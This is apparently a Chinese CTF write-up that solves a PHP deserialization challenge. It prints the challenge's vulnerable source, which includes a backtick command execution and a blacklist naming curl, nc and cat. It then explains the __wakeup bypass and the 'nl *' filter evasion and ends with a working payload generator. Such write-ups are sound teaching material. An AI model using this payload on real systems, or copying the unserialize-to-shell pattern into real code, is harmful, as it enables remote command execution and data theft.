1.安慰奖:

image.png
通过base64解码 得到backups 说明有备份文件

通过dirsearch 扫描得到了index.php.bak

  1. <?php
  2. header("Content-Type: text/html;charset=utf-8");
  3. error_reporting(0);
  4. echo "<!-- YmFja3Vwcw== -->";
  5. class ctf
  6. {
  7. protected $username = 'hack';
  8. protected $cmd = 'NULL';
  9. public function __construct($username,$cmd)
  10. {
  11. $this->username = $username;
  12. $this->cmd = $cmd;
  13. }
  14. function __wakeup()
  15. {
  16. $this->username = 'guest';
  17. }
  18. function __destruct()
  19. {
  20. if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
  21. {
  22. exit('</br>flag能让你这么容易拿到吗?<br>');
  23. }
  24. if ($this->username === 'admin')
  25. {
  26. // echo "<br>right!<br>";
  27. $a = `$this->cmd`;
  28. var_dump($a);
  29. }else
  30. {
  31. echo "</br>给你个安慰奖吧,hhh!</br>";
  32. die();
  33. }
  34. }
  35. }
  36. $select = $_GET['code'];
  37. $res=unserialize(@$select);
  38. ?>

发现了29行 用反引号包裹了字符串 这里就是命令执行。

发现unserialize函数 这题就是考的反序列化。

  1. 先找危险函数 能读写 或者命令执行
  2. 当执行了unserialize __wakeup 魔术方法率先调用 他给username变为guest 可以绕过 具体方法百度
  3. 然后执行__construct 魔术方法 这里就可以将username的值改为admin cmd属性改为读写flag
  4. __destruct 魔术方法 这里检测了 一些基础的命令 但是没有过滤完全 比如用nl 来代替cat 去读取文件
  5. <?php
  6. header("Content-Type: text/html;charset=utf-8");
  7. error_reporting(0);
  8. echo "<!-- YmFja3Vwcw== -->";
  9. class ctf
  10. {
  11. protected $username = 'hack';
  12. protected $cmd = 'NULL';
  13. public function __construct($username,$cmd)
  14. {
  15. $this->username = $username;
  16. $this->cmd = $cmd;
  17. }
  18. function __wakeup() // 这里先执行
  19. {
  20. $this->username = 'guest';
  21. }
  22. function __destruct()
  23. {
  24. if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
  25. {
  26. exit('</br>flag能让你这么容易拿到吗?<br>');
  27. }
  28. if ($this->username === 'admin')
  29. {
  30. // echo "<br>right!<br>";
  31. $a = `$this->cmd`;
  32. var_dump($a);
  33. }else
  34. {
  35. echo "</br>给你个安慰奖吧,hhh!</br>";
  36. die();
  37. }
  38. }
  39. }
  40. $select = $_GET['code'];
  41. $res=unserialize(@$select);
  42. ?>

payload:

<?php


class ctf{
    protected $username = 'admin';
    protected $cmd = 'nl *';

}

$stu=new ctf;
$stu=serialize($stu);
$stu=str_replace(":2:", ":3:", $stu);
echo urlencode($stu);
?>